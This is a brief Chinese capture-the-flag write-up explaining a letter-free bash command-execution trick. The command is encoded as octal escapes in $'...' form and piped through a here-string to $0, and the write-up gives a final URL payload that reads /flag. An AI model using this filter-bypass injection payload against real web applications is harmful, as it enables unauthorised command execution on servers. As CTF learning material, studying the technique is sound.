今天又学到一种比较万能的rce方法,这里做一下记录
打开网页就是源码
这里取反或者异或等方法就不介绍了,用新的方法
参考文章:【bashfuck】bashshell无字母命令执行原理 - FreeBuf网络安全行业门户
这里用了比较简单的payload,没有构造更万能的payload,感兴趣的朋友可以参考上面的链接
这里我用直白的话简单介绍一下,原文还是比较不好理解的
原理: linux终端可以通过$'\xxx'的方式执行命令,xxx是字符的ascii的八进制形式,注意,这里讲的是字符,而不是字符串
那么我们就构造$%27\143\141\164\040\057\146\154\141\147%27
但是这样的话,终端只会解析为cat /flag,并不会做后续的操作
具体详情参考:Shell Expansions (Bash Reference Manual)
所以这里我们引入Linux Bash Shell的Here string语法(https://bash.cyberciti.biz/guide/Here_strings)
让八进制转义作为标准输入再完成一次解析:
bin/bash<<< str
cmd=bin/bash<<<$%27\143\141\164\040\057\146\154\141\147%27
这样很明显是不行的,想办法替换掉bin/bash
这里我们用$0替换
最终payload : ?cmd=$0<<<$%27\143\141\164\040\057\146\154\141\147%27
成功拿到flag